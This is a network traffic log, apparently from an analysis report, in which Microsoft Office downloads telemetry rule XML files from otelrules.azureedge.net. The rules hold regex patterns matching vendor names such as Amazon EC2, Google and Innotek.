2024-11-19 21:06:59 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49778	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-r1d97b9957747b9jhC1TEBgyec00000007y000000000kwng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49779	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-1777c6cb754lv4cqhC1TEB13us00000008kg00000000gy1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49780	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-1777c6cb7544n7p6hC1TEByvb400000008p000000000tspm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49781	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:59 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:59 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210659Z-1777c6cb754rz2pghC1TEBghen00000008d000000000uhwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:59 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49782	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:59 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-r1d97b99577d6qrbhC1TEBux5s00000007wg00000000ud10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49783	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-r1d97b99577ndm4rhC1TEBf0ps0000000830000000002r9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49784	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-1777c6cb7549j9hhhC1TEBzmcc00000008fg00000000ky7e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49785	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-1777c6cb754g9zd5hC1TEBfvpw00000008s000000000dvbg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49786	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-r1d97b99577gg97qhC1TEBcrf400000007s0000000008spd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49787	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-1777c6cb7549x5qchC1TEBggbg00000008r0000000008sv5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49788	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:00 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210700Z-r1d97b995778dpcthC1TEB4b5400000007vg0000000049d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49789	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:00 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
